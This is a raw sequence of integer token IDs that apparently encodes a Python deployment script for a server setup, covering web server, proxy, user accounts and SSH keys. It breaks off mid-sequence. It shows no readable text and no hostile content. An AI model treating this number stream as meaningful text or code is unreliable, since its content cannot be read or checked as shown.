29914, 1127, 275, 29889, 5527, 8785, 13, 13, 13, 1753, 16087, 29348, 355, 29898, 2974, 1170, 29892, 1923, 2290, 29892, 24250, 19858, 20455, 2605, 29892, 13, 462, 418, 24250, 25207, 20455, 2605, 1125, 13, 1678, 9995, 20967, 4151, 567, 278, 1856, 1923, 322, 10166, 304, 664, 411, 2379, 5416, 4051, 29889, 13, 13, 1678, 910, 2601, 29879, 9962, 322, 6166, 701, 278, 5181, 5285, 13, 1678, 2066, 29889, 13, 13, 1678, 9995, 13, 1678, 396, 5020, 1359, 2066, 13, 1678, 1925, 29898, 16265, 19858, 20455, 2605, 29892, 525, 1579, 5416, 3888, 29889, 29886, 331, 1495, 13, 1678, 1925, 29898, 16265, 25207, 20455, 2605, 29892, 525, 1579, 5416, 3888, 29889, 1989, 1495, 13, 13, 1678, 396, 16052, 11780, 29889, 13, 1678, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 10882, 29899, 657, 2601, 448, 29891, 19376, 447, 14701, 1495, 13, 13, 1678, 396, 3789, 701, 447, 14701, 29889, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 29882, 481, 307, 3594, 5040, 1495, 13, 1678, 7246, 3991, 10547, 29898, 13, 4706, 11117, 2974, 29899, 978, 2396, 1923, 1170, 1118, 13, 13, 4706, 6702, 29882, 481, 307, 3594, 29914, 29882, 481, 307, 3594, 29889, 16859, 742, 8207, 7070, 29914, 29882, 481, 307, 3594, 29914, 29882, 481, 307, 3594, 29889, 16859, 5477, 13, 4706, 6702, 29882, 481, 307, 3594, 29914, 29882, 481, 307, 3594, 29899, 4381, 742, 8207, 7070, 29914, 4381, 29914, 29882, 481, 307, 3594, 8785, 13, 13, 1678, 9196, 877, 11256, 3972, 448, 29886, 29772, 1707, 29914, 3389, 29914, 29882, 481, 307, 3594, 1495, 13, 1678, 9196, 877, 305, 776, 447, 14701, 29901, 29882, 481, 307, 3594, 29772, 1707, 29914, 3389, 29914, 29882, 481, 307, 3594, 1495, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 29882, 481, 307, 3594, 1369, 1495, 13, 1678, 9196, 877, 18963, 1192, 25590, 296, 1732, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29929, 29900, 29900, 29900, 1405, 847, 3359, 29914, 4304, 2607, 2916, 13976, 29991, 1495, 13, 13, 1678, 396, 3789, 701, 19376, 29889, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 23257, 5040, 1495, 13, 1678, 9196, 877, 11256, 3972, 448, 29886, 847, 7070, 29914, 23257, 29914, 16265, 1495, 13, 1678, 9196, 877, 29324, 22576, 3888, 29889, 29886, 331, 847, 7070, 29914, 23257, 29914, 16265, 1495, 13, 1678, 9196, 877, 305, 1545, 29871, 29953, 29900, 29900, 847, 7070, 29914, 23257, 29914, 16265, 29914, 1579, 5416, 3888, 29889, 29886, 331, 1495, 13, 1678, 9196, 877, 11256, 3972, 448, 29886, 847, 1707, 29914, 1982, 29914, 1579, 5416, 3888, 29914, 20756, 1495, 13, 13, 1678, 9196, 877, 29324, 22576, 3888, 29889, 1989, 847, 7070, 29914, 23257, 29914, 16265, 1495, 13, 1678, 9196, 877, 305, 1545, 29871, 29953, 29900, 29900, 847, 7070, 29914, 23257, 29914, 16265, 29914, 1579, 5416, 3888, 29889, 1989, 1495, 13, 1678, 7246, 3991, 10547, 29898, 13, 4706, 11117, 2974, 29899, 978, 2396, 1923, 1170, 1118, 13, 13, 4706, 6702, 23257, 29914, 1579, 5416, 3888, 29899, 24216, 29889, 5527, 29889, 6886, 742, 13, 9651, 8207, 7070, 29914, 23257, 29914, 16315, 29899, 16515, 19248, 2974, 29899, 978, 29913, 8785, 13, 13, 1678, 9196, 877, 3083, 448, 4668, 847, 7070, 29914, 23257, 29914, 16315, 29899, 16515, 19248, 29900, 29913, 525, 13, 308, 8207, 7070, 29914, 23257, 29914, 16315, 29899, 17590, 19248, 29900, 29913, 4286, 4830, 29898, 2974, 1170, 876, 13, 1678, 9196, 877, 1758, 448, 29888, 847, 7070, 29914, 23257, 29914, 16315, 29899, 17590, 29914, 4381, 1495, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 23257, 1369, 1495, 13, 1678, 931, 29889, 17059, 29898, 29896, 29897, 13, 1678, 9196, 877, 18963, 1192, 25590, 296, 1732, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 16664, 29881, 1405, 847, 3359, 29914, 4304, 2607, 2916, 13976, 20714, 13, 308, 1273, 1923, 2290, 29897, 13, 13, 13, 1753, 7246, 3991, 10547, 29898, 6886, 1469, 29892, 334, 5325, 1125, 13, 1678, 9995, 13, 1678, 10034, 2376, 5285, 2066, 29892, 27523, 4472, 4235, 411, 1855, 18209, 13, 1678, 848, 29889, 13, 13, 1678, 732, 3207, 4472, 1469, 29901, 319, 315, 29912, 8977, 29913, 411, 278, 848, 304, 5445, 278, 17475, 29889, 13, 1678, 732, 3207, 334, 5325, 29901, 319, 1051, 315, 8001, 4993, 29892, 12551, 2915, 411, 2472, 1048, 825, 13, 4706, 2066, 304, 3509, 13, 1678, 9995, 13, 1678, 1923, 1170, 353, 4472, 1469, 1839, 2974, 29899, 978, 2033, 13, 13, 1678, 363, 3978, 29892, 12551, 297, 2066, 29901, 13, 4706, 2702, 3434, 3871, 353, 2897, 29889, 2084, 29889, 7122, 877, 16519, 358, 742, 1923, 1170, 29892, 3978, 29897, 13, 4706, 2322, 3434, 3871, 353, 2897, 29889, 2084, 29889, 7122, 877, 16519, 358, 742, 525, 4381, 742, 3978, 29897, 13, 4706, 3978, 353, 313, 14940, 3434, 3871, 13, 462, 29871, 565, 2897, 29889, 2084, 29889, 9933, 29898, 14940, 3434, 3871, 29897, 13, 462, 29871, 1683, 2322, 3434, 3871, 29897, 13, 4706, 12551, 353, 12551, 29889, 4830, 29898, 1068, 6886, 1469, 29897, 13, 4706, 1925, 29898, 12574, 29892, 12551, 29892, 671, 29918, 15360, 29922, 5574, 29897, 13, 13, 4706, 363, 1820, 29892, 995, 297, 4472, 1469, 29889, 1524, 7076, 7295, 13, 9651, 7048, 29898, 23848, 29892, 11297, 741, 29912, 1273, 29879, 320, 1012, 10162, 1273, 1820, 29892, 995, 29889, 6506, 12839, 742, 364, 12764, 29889, 5477, 13, 18884, 671, 29918, 15360, 29922, 5574, 29897, 13, 13, 13, 1753, 4148, 675, 29903, 845, 2558, 29898, 6786, 29892, 13927, 1204, 1125, 13, 1678, 9995, 2528, 6790, 22343, 970, 1820, 304, 278, 1404, 29915, 29879, 3695, 6294, 15269, 29914, 8921, 1891, 29918, 8149, 29889, 13, 1678, 960, 727, 338, 694, 1316, 934, 29892, 697, 674, 367, 2825, 363, 278, 1404, 29889, 13, 13, 1678, 732, 3207, 8952, 29901, 450, 1024, 310, 278, 1404, 5069, 4148, 1891, 29918, 8149, 338, 1641, 13, 462, 268, 4784, 29889, 13, 1678, 732, 3207, 13927, 1204, 29901, 10802, 304, 22343, 970, 1820, 313, 375, 1474, 3695, 6294, 15269, 29914, 333, 29918, 2288, 29874, 29889, 5467, 29897, 13, 1678, 9995, 13, 1678, 411, 6055, 29898, 1792, 2433, 8767, 742, 13, 462, 29871, 1820, 29918, 9507, 29922, 359, 29889, 21813, 1839, 11206, 29906, 29918, 10818, 7228, 8193, 29918, 10145, 2033, 1125, 13, 4706, 13927, 2605, 353, 2897, 29889, 2084, 29889, 7122, 877, 30022, 29995, 29879, 29915, 1273, 8952, 29892, 15300, 15269, 1495, 13, 4706, 9196, 877, 11256, 3972, 448, 29886, 1273, 29879, 29915, 1273, 13927, 2605, 29897, 13, 4706, 9196, 877, 305, 1545, 29871, 29955, 29900, 29900, 1273, 29879, 29915, 1273, 13927, 2605, 29897, 13, 4706, 9196, 877, 305, 776, 1273, 29879, 16664, 29879, 1273, 29879, 29915, 1273, 313, 6786, 29892, 8952, 29892, 13927, 2605, 876, 13, 4706, 4148, 1891, 15506, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 15269, 2605, 29892, 525, 8921, 1891, 29918, 8149, 1495, 13, 4706, 2529, 2558, 353, 1722, 29898, 15269, 1204, 29892, 525, 29878, 2824, 949, 1220, 2141, 17010, 580, 13, 4706, 9196, 703, 8057, 14210, 29879, 29915, 5099, 1273, 29879, 29908, 1273, 313, 5467, 2558, 29892, 4148, 1891, 15506, 2605, 876, 13, 4706, 9196, 877, 305, 1545, 29871, 29953, 29900, 29900, 1273, 29879, 29915, 1273, 4148, 1891, 15506, 2605, 29897, 13, 4706, 9196, 877, 305, 776, 1273, 29879, 16664, 29879, 1273, 29879, 29915, 1273, 313, 6786, 29892, 8952, 29892, 4148, 1891, 15506, 2605, 876, 13, 13, 13, 1753, 788, 12754, 29898, 6786, 29892, 13927, 1204, 29892, 1404, 29892, 10110, 1125, 13, 1678, 9995, 2528, 263, 1404, 411, 4113, 28091, 304, 385, 8294, 1923, 29889, 13, 13, 1678, 732, 3207, 8952, 29901, 450, 1024, 310, 278, 716, 1404, 29889, 13, 1678, 732, 3207, 13927, 1204, 29901, 10802, 304, 22343, 970, 1820, 313, 375, 1474, 3695, 6294, 15269, 29914, 333, 29918, 2288, 29874, 29889, 5467, 29897, 13, 1678, 732, 3207, 1404, 29901, 10831, 635, 29892, 278, 1404, 304, 4511, 408, 29889, 13, 1678, 732, 3207, 10110, 29901, 10831, 635, 29892, 278, 22343, 10110, 304, 671, 746, 16791, 29889, 13, 1678, 9995, 13, 1678, 565, 10110, 29901, 13, 4706, 8829, 29889, 1989, 29918, 9507, 353, 10110, 13, 1678, 565, 1404, 29901, 13, 4706, 8829, 29889, 1792, 353, 1404, 13, 1678, 9196, 877, 1202, 1792, 1192, 18279, 29899, 5630, 1192, 479, 3944, 9162, 29892, 1699, 1273, 29879, 29915, 1273, 8952, 29897, 13, 1678, 9196, 877, 375, 837, 397, 448, 29886, 5124, 1273, 29879, 29915, 1273, 8952, 29897, 13, 1678, 9196, 877, 305, 482, 448, 29881, 29871, 29900, 1273, 29879, 29915, 1273, 8952, 29897, 13, 1678, 9196, 877, 29887, 3364, 9970, 1192, 1202, 1273, 29879, 4113, 29915, 1273, 8952, 29897, 13, 1678, 4148, 675, 29903, 845, 2558, 29898, 6786, 29892, 13927, 1204, 29897, 13, 13, 13, 1753, 19012, 4998, 29898, 6786, 29892, 13927, 1204, 1125, 13, 1678, 9995, 29925, 3445, 598, 385, 2777, 13271, 278, 9741, 322, 4969, 263, 716, 1404, 29889, 13, 13, 1678, 732, 3207, 8952, 29901, 450, 1024, 310, 278, 716, 1404, 29889, 13, 1678, 732, 3207, 13927, 1204, 29901, 10802, 304, 22343, 970, 1820, 313, 375, 1474, 3695, 6294, 15269, 29914, 333, 29918, 2288, 29874, 29889, 5467, 29897, 13, 1678, 9995, 13, 1678, 1596, 2897, 29889, 21813, 1839, 11206, 29906, 29918, 10818, 7228, 8193, 29918, 10145, 2033, 13, 1678, 411, 6055, 29898, 1792, 2433, 8767, 742, 13, 462, 29871, 1820, 29918, 9507, 29922, 359, 29889, 21813, 1839, 11206, 29906, 29918, 10818, 7228, 8193, 29918, 10145, 2033, 1125, 13, 4706, 4800, 353, 679, 3364, 877, 10399, 263, 716, 4800, 363, 1404, 1273, 29879, 11283, 1273, 8952, 29897, 13, 4706, 4800, 29906, 353, 679, 3364, 877, 10399, 278, 4800, 263, 1449, 29901, 1495, 13, 4706, 565, 4800, 2804, 4800, 29906, 29901, 13, 9651, 12020, 24875, 2392, 703, 7129, 9303, 1016, 29915, 29873, 1993, 1159, 13, 4706, 9196, 877, 1202, 1792, 1192, 18279, 29899, 5630, 1192, 479, 3944, 9162, 29892, 1699, 1273, 29879, 29915, 1273, 8952, 29897, 13, 4706, 274, 14740, 10048, 353, 903, 8568, 10048, 29898, 5630, 29897, 13, 4706, 9196, 877, 375, 837, 397, 1192, 5630, 1273, 29879, 1273, 29879, 29915, 1273, 313, 29883, 14740, 10048, 29892, 8952, 876, 13, 4706, 9196, 877, 29887, 3364, 9970, 1192, 1202, 1273, 29879, 4113, 29915, 1273, 8952, 29897, 13, 4706, 4148, 675, 29903, 845, 2558, 29898, 6786, 29892, 13927, 1204, 29897, 13, 4706, 9196, 877, 2156, 29899, 657, 2767, 1495, 13, 4706, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 10882, 29899, 657, 1320, 29899, 786, 8228, 448, 29891, 1495, 13, 4706, 565, 4864, 11219, 1707, 29914, 3389, 29914, 276, 4777, 29899, 12403, 29374, 13, 9651, 22538, 580, 13, 13, 13, 1753, 24543, 7295, 13, 1678, 9995, 29925, 292, 278, 1923, 1213, 15945, 13, 1678, 9196, 877, 29886, 9970, 1495, 13, 13, 13, 1753, 19012, 8754, 5416, 3888, 29898, 3389, 24376, 1125, 13, 1678, 9995, 29925, 3445, 598, 263, 2379, 5416, 3888, 2752, 9913, 2135, 773, 278, 1887, 5443, 29889, 13, 13, 1678, 732, 3207, 1065, 24376, 29901, 319, 7353, 304, 8161, 565, 278, 1243, 9460, 881, 367, 1065, 29889, 13, 1678, 732, 2457, 29901, 450, 1024, 310, 278, 26554, 1641, 21168, 408, 263, 1347, 9686, 278, 13, 4706, 3402, 29892, 315, 29912, 29966, 1256, 29958, 29899, 29966, 2230, 29958, 1836, 13, 1678, 9995, 13, 1678, 565, 1065, 24376, 29901, 13, 4706, 1887, 877, 5675, 2048, 29899, 14941, 2048, 742, 10446, 29922, 8824, 29897, 13, 4706, 1887, 877, 5675, 1423, 29899, 497, 742, 10446, 29922, 8824, 29897, 13, 13, 1678, 1887, 877, 5559, 18871, 1192, 13506, 29922, 1579, 5416, 3888, 29914, 448, 29894, 1192, 4830, 9913, 17714, 3035, 891, 525, 13, 3986, 525, 29890, 7554, 29906, 1405, 22576, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 1495, 13, 1678, 736, 12865, 29889, 329, 29883, 3707, 2141, 710, 615, 603, 877, 29995, 29979, 29995, 29885, 29995, 29881, 19222, 29950, 29995, 29924, 1495, 13, 13, 13, 1753, 2601, 21956, 358, 14459, 8498, 7158, 7295, 13, 1678, 9995, 23271, 3577, 9962, 4312, 304, 6633, 315, 17752, 1213, 15945, 13, 1678, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 525, 13, 308, 525, 2156, 29899, 657, 2601, 448, 29891, 20243, 3017, 29899, 497, 29899, 3359, 1495, 13, 13, 13, 1753, 27608, 21956, 358, 14459, 8498, 7158, 7295, 13, 1678, 9995, 2525, 6252, 3577, 9962, 4312, 304, 6633, 315, 17752, 1213, 15945, 13, 1678, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 525, 13, 308, 525, 2156, 29899, 657, 3349, 448, 29891, 1192, 15503, 479, 20243, 3017, 29899, 497, 29899, 3359, 1495, 13, 1678, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 525, 13, 308, 525, 2156, 29899, 657, 1120, 3668, 994, 448, 29891, 1495, 13, 13, 13, 1753, 5040, 10486, 13779, 7295, 13, 1678, 9995, 16329, 4918, 7979, 4176, 322, 4956, 29878, 5786, 1213, 15945, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 24468, 29953, 5040, 1495, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 29272, 29899, 29947, 29889, 29946, 5040, 1495, 13, 13, 13, 1753, 1369, 10486, 13779, 7295, 13, 1678, 9995, 4763, 4918, 7979, 4176, 322, 4956, 29878, 5786, 1213, 15945, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 24468, 29953, 1369, 1495, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 29272, 29899, 29947, 29889, 29946, 1369, 1495, 13, 13, 13, 1753, 7246, 8754, 5416, 3888, 29898, 16519, 358, 2605, 29892, 26554, 1125, 13, 1678, 9995, 8498, 2376, 2379, 5416, 3888, 2752, 775, 304, 278, 7592, 1923, 29889, 13, 13, 1678, 732, 3207, 18209, 2605, 29901, 450, 2224, 304, 7246, 2379, 5416, 3888, 297, 29889, 13, 1678, 732, 3207, 26554, 29901, 450, 315, 29912, 710, 29913, 26554, 310, 278, 5443, 1641, 21168, 29889, 13, 1678, 9995, 13, 1678, 3271, 2605, 353, 2897, 29889, 2084, 29889, 7122, 11219, 5184, 742, 8829, 29889, 1792, 29897, 13, 1678, 26554, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 16519, 358, 2605, 29892, 26554, 29897, 13, 1678, 9196, 877, 11256, 3972, 448, 29886, 1273, 29879, 29915, 1273, 26554, 2605, 29897, 13, 1678, 1925, 877, 1579, 5416, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 742, 3271, 2605, 29897, 13, 1678, 934, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 5184, 2605, 29892, 525, 1579, 5416, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 1495, 13, 1678, 9196, 877, 6814, 1273, 29879, 1273, 29879, 29915, 1273, 313, 1445, 2605, 29892, 26554, 2605, 876, 13, 13, 1678, 411, 14965, 29898, 276, 4924, 2605, 1125, 13, 4706, 9196, 877, 305, 776, 448, 29934, 22576, 3888, 1273, 29879, 29915, 1273, 26554, 2605, 29897, 13, 4706, 9196, 877, 305, 776, 22576, 3888, 22576, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 1495, 13, 4706, 9196, 877, 12637, 432, 29916, 29894, 29888, 22576, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 9196, 877, 11256, 3972, 448, 29886, 722, 29914, 1188, 722, 29914, 1188, 29914, 15003, 722, 29914, 3389, 722, 29914, 7050, 742, 13, 632, 1404, 2433, 1579, 5416, 3888, 1495, 13, 13, 1678, 411, 14965, 29898, 359, 29889, 2084, 29889, 7122, 29898, 276, 4924, 2605, 29892, 525, 1579, 5416, 3888, 8785, 29901, 13, 4706, 9196, 877, 18714, 6272, 869, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 9196, 877, 6904, 2109, 29914, 13096, 2601, 1192, 1509, 29899, 11038, 729, 29879, 525, 13, 632, 525, 489, 10382, 29899, 8173, 14327, 1707, 29914, 1982, 29914, 1579, 5416, 3888, 29914, 4993, 29899, 22594, 525, 13, 632, 17411, 29878, 11780, 29889, 3945, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 13, 1678, 444, 14187, 5285, 2066, 13, 13, 1678, 1923, 1170, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 16519, 358, 2605, 29897, 13, 1678, 4472, 1469, 353, 11117, 16519, 358, 29899, 2084, 2396, 18209, 2605, 29892, 13, 462, 1678, 525, 2974, 29899, 978, 2396, 1923, 1170, 29913, 13, 1678, 934, 29907, 459, 583, 353, 518, 13, 4706, 6702, 1579, 5416, 3888, 29914, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 29889, 6886, 742, 525, 6995, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 5477, 13, 4706, 6702, 29883, 1617, 29914, 2490, 7201, 29899, 7283, 609, 370, 29889, 6886, 742, 525, 6995, 16713, 29914, 2490, 7201, 29899, 7283, 609, 370, 5477, 13, 4706, 6702, 29883, 1617, 29914, 1579, 5416, 3888, 29899, 7283, 609, 370, 29889, 6886, 742, 525, 6995, 16713, 29914, 1579, 5416, 3888, 29899, 7283, 609, 370, 5477, 13, 13, 4706, 6702, 29883, 1617, 29914, 1627, 786, 29899, 29272, 29889, 845, 29889, 6886, 742, 13, 9651, 525, 6995, 16713, 29914, 1627, 786, 29899, 29272, 29889, 845, 5477, 13, 13, 4706, 6702, 29883, 1617, 29914, 2527, 10817, 29889, 845, 742, 525, 6995, 16713, 29914, 2527, 10817, 29889, 845, 5477, 13, 4706, 6702, 29883, 1617, 29914, 2230, 29899, 1579, 5416, 3888, 29889, 2272, 742, 525, 6995, 16713, 29914, 2230, 29899, 1579, 5416, 3888, 29889, 2272, 5477, 13, 4706, 6702, 29883, 1617, 29914, 2929, 29878, 29899, 20640, 675, 29889, 845, 742, 525, 6995, 16713, 29914, 2929, 29878, 29899, 20640, 675, 29889, 845, 1495, 13, 13, 4706, 396, 14402, 29901, 14187, 5285, 2066, 363, 19376, 29892, 447, 14701, 29892, 1480, 23361, 322, 13, 4706, 396, 701, 2962, 29892, 1438, 1996, 2669, 1791, 5708, 565, 2066, 505, 3939, 29889, 13, 1678, 4514, 13, 13, 1678, 411, 14965, 29898, 359, 29889, 2084, 29889, 7122, 29898, 276, 4924, 2605, 29892, 525, 1579, 5416, 3888, 8785, 29901, 13, 4706, 9196, 877, 11256, 3972, 29772, 16713, 1495, 13, 13, 4706, 363, 3978, 29892, 12551, 297, 934, 29907, 459, 583, 29901, 13, 9651, 2702, 3434, 3871, 353, 2897, 29889, 2084, 29889, 7122, 877, 16519, 358, 742, 1923, 1170, 29892, 3978, 29897, 13, 9651, 2322, 3434, 3871, 353, 2897, 29889, 2084, 29889, 7122, 877, 16519, 358, 742, 525, 4381, 742, 3978, 29897, 13, 9651, 3978, 353, 313, 14940, 3434, 3871, 13, 462, 418, 565, 2897, 29889, 2084, 29889, 9933, 29898, 14940, 3434, 3871, 29897, 13, 462, 418, 1683, 2322, 3434, 3871, 29897, 13, 13, 9651, 9196, 877, 6814, 426, 12574, 29913, 426, 23848, 29913, 4286, 4830, 29898, 1068, 2997, 29879, 22130, 13, 13, 9651, 363, 1820, 29892, 995, 297, 4472, 1469, 29889, 1524, 7076, 7295, 13, 18884, 995, 353, 995, 29889, 6506, 12839, 742, 364, 12764, 29889, 2824, 6506, 11219, 742, 11297, 29914, 1495, 13, 18884, 4603, 353, 364, 29915, 29879, 29914, 6224, 1273, 29879, 500, 6822, 29995, 29879, 29914, 29887, 29915, 1273, 313, 1989, 29892, 995, 29897, 13, 18884, 9196, 703, 8485, 448, 29875, 448, 29872, 14210, 29879, 29915, 1273, 29879, 29908, 1273, 313, 17471, 29892, 12551, 876, 13, 13, 4706, 9196, 877, 305, 1545, 718, 29916, 29772, 16713, 29914, 1627, 786, 29899, 29272, 29889, 845, 1495, 13, 4706, 9196, 877, 7283, 609, 370, 448, 29884, 1400, 7201, 29772, 16713, 29914, 2490, 7201, 29899, 7283, 609, 370, 1495, 13, 4706, 9196, 877, 7283, 609, 370, 448, 29884, 22576, 3888, 29772, 16713, 29914, 1579, 5416, 3888, 29899, 7283, 609, 370, 1495, 13, 13, 13, 1753, 4607, 1123, 4924, 29898, 16519, 358, 2605, 29892, 26554, 1125, 13, 1678, 9995, 2697, 278, 2379, 5416, 3888, 18209, 304, 263, 3153, 26554, 1213, 15945, 13, 1678, 411, 14965, 29898, 16519, 358, 2605, 1125, 13, 4706, 9196, 877, 1758, 448, 29888, 1857, 1495, 13, 4706, 9196, 877, 3083, 448, 29879, 1273, 29879, 1857, 29915, 1273, 26554, 29897, 13, 13, 13, 1753, 1369, 8754, 5416, 3888, 7295, 13, 1678, 9995, 4763, 278, 11565, 310, 2379, 5416, 3888, 3450, 5786, 1213, 15945, 13, 1678, 9196, 877, 2962, 22576, 3888, 29899, 2754, 1495, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 29882, 481, 307, 3594, 1369, 1495, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 23257, 1369, 1495, 13, 13, 13, 1753, 5040, 8754, 5416, 3888, 7295, 13, 1678, 9995, 16329, 278, 11565, 310, 2379, 5416, 3888, 3450, 5786, 1213, 15945, 13, 1678, 363, 2011, 297, 3464, 29898, 29929, 29900, 29900, 29896, 29892, 29871, 29929, 29900, 29900, 29929, 1125, 13, 4706, 9196, 877, 9847, 22576, 3888, 29899, 2754, 29899, 3177, 349, 8476, 16328, 29881, 3830, 1565, 29915, 1273, 2011, 29897, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 23257, 5040, 1495, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 29882, 481, 307, 3594, 5040, 1495, 13, 13, 13, 1753, 10715, 8754, 5416, 3888, 7295, 13, 1678, 9995, 15078, 442, 278, 11565, 310, 2379, 5416, 3888, 3450, 5786, 1728, 16611, 593, 603, 29889, 13, 13, 1678, 3115, 3638, 263, 317, 6259, 3308, 29934, 29896, 304, 405, 16237, 304, 1207, 372, 337, 3150, 1480, 2066, 313, 262, 278, 716, 775, 13, 1678, 11846, 3884, 467, 13, 1678, 9995, 13, 1678, 363, 2011, 297, 3464, 29898, 29929, 29900, 29900, 29896, 29892, 29871, 29929, 29900, 29900, 29929, 1125, 13, 4706, 9196, 877, 9847, 22576, 3888, 29899, 2754, 29899, 3177, 349, 8476, 16328, 29881, 3830, 1565, 29915, 1273, 2011, 29897, 13, 4706, 9196, 877, 2962, 22576, 3888, 29899, 2754, 29899, 3177, 349, 8476, 16328, 29881, 29915, 1273, 2011, 29897, 13, 1678, 411, 6055, 29898, 25442, 29918, 6194, 29922, 5574, 1125, 13, 4706, 9196, 877, 21174, 448, 3308, 29934, 29896, 2427, 4117, 847, 1707, 29914, 3389, 29914, 23257, 29889, 5935, 29897, 1495, 13, 13, 13, 1753, 2767, 6594, 8176, 29898, 16519, 358, 2605, 29892, 26554, 1125, 13, 1678, 9995, 3373, 15190, 278, 20501, 2205, 29890, 29914, 3259, 4055, 363, 3620, 297, 278, 3450, 29889, 13, 13, 1678, 732, 3207, 18209, 2605, 29901, 450, 2224, 304, 7246, 2379, 5416, 3888, 297, 29889, 13, 1678, 732, 3207, 26554, 29901, 450, 315, 29912, 710, 29913, 26554, 310, 278, 5443, 1641, 21168, 29889, 13, 1678, 9995, 13, 1678, 22576, 3888, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 16519, 358, 2605, 29892, 26554, 29892, 525, 1579, 5416, 3888, 1495, 13, 1678, 411, 14965, 29898, 1579, 5416, 3888, 2605, 1125, 13, 4706, 411, 1722, 877, 16519, 358, 29914, 2754, 29899, 3259, 29889, 3945, 1495, 408, 1873, 2283, 29901, 13, 9651, 1873, 353, 1873, 2283, 29889, 949, 580, 13, 9651, 9196, 877, 2109, 29914, 4691, 9016, 29914, 1579, 5416, 3888, 2767, 29899, 3259, 29899, 4039, 525, 13, 462, 525, 2490, 7201, 597, 29914, 1579, 5416, 3888, 525, 13, 462, 14210, 29879, 29915, 1273, 1873, 29892, 13, 462, 1404, 2433, 1579, 5416, 3888, 1495, 13, 13, 13, 1753, 2821, 9039, 275, 10408, 29898, 16519, 358, 2605, 29892, 26554, 1125, 13, 1678, 9995, 18759, 29825, 7090, 1156, 18209, 29889, 13, 13, 1678, 732, 3207, 18209, 2605, 29901, 450, 2224, 304, 7246, 2379, 5416, 3888, 297, 29889, 13, 1678, 732, 3207, 26554, 29901, 450, 315, 29912, 710, 29913, 26554, 310, 278, 5443, 1641, 21168, 29889, 13, 1678, 9995, 13, 1678, 22576, 3888, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 16519, 358, 2605, 29892, 26554, 29892, 525, 1579, 5416, 3888, 1495, 13, 1678, 411, 14965, 29898, 1579, 5416, 3888, 2605, 1125, 13, 4706, 9196, 877, 2109, 29914, 4691, 9016, 29914, 1579, 5416, 3888, 2821, 29899, 8173, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 13, 13, 1753, 756, 2525, 932, 2957, 9112, 29925, 905, 267, 29898, 16519, 358, 2605, 29892, 26554, 1125, 13, 1678, 9995, 6362, 837, 457, 565, 727, 526, 2566, 13261, 267, 304, 3394, 29889, 13, 13, 1678, 732, 3207, 18209, 2605, 29901, 450, 2224, 304, 7246, 2379, 5416, 3888, 297, 29889, 13, 1678, 732, 3207, 26554, 29901, 450, 315, 29912, 710, 29913, 26554, 310, 278, 5443, 1641, 21168, 29889, 13, 1678, 732, 2457, 29901, 315, 29912, 5574, 29913, 565, 727, 526, 714, 11235, 13261, 267, 29892, 6467, 315, 29912, 8824, 1836, 13, 1678, 9995, 13, 1678, 2224, 353, 2897, 29889, 2084, 29889, 7122, 29898, 16519, 358, 2605, 29892, 26554, 29892, 525, 1579, 5416, 3888, 1495, 13, 1678, 411, 14965, 29898, 2084, 1125, 13, 4706, 411, 6055, 29898, 25442, 29918, 6194, 29922, 5574, 1125, 13, 9651, 714, 353, 9196, 877, 2109, 29914, 4691, 9016, 29914, 1579, 5416, 3888, 525, 13, 462, 539, 525, 5041, 29899, 4882, 1400, 7201, 597, 29914, 1579, 5416, 3888, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 9651, 736, 714, 29889, 2457, 29918, 401, 2804, 29871, 29900, 13, 13, 13, 1753, 3394, 9112, 29925, 905, 267, 29898, 16519, 358, 2605, 29892, 26554, 1125, 13, 1678, 9995, 2052, 368, 2566, 13261, 267, 29889, 13, 13, 1678, 450, 4918, 7979, 4176, 2566, 674, 367, 1250, 287, 701, 1434, 13261, 267, 526, 7436, 29892, 13, 1678, 607, 2794, 445, 1033, 19998, 2125, 777, 931, 304, 1065, 29889, 13, 13, 1678, 732, 3207, 18209, 2605, 29901, 450, 2224, 304, 7246, 2379, 5416, 3888, 297, 29889, 13, 1678, 732, 3207, 26554, 29901, 450, 315, 29912, 710, 29913, 26554, 310, 278, 5443, 1641, 21168, 29889, 13, 1678, 9995, 13, 1678, 2224, 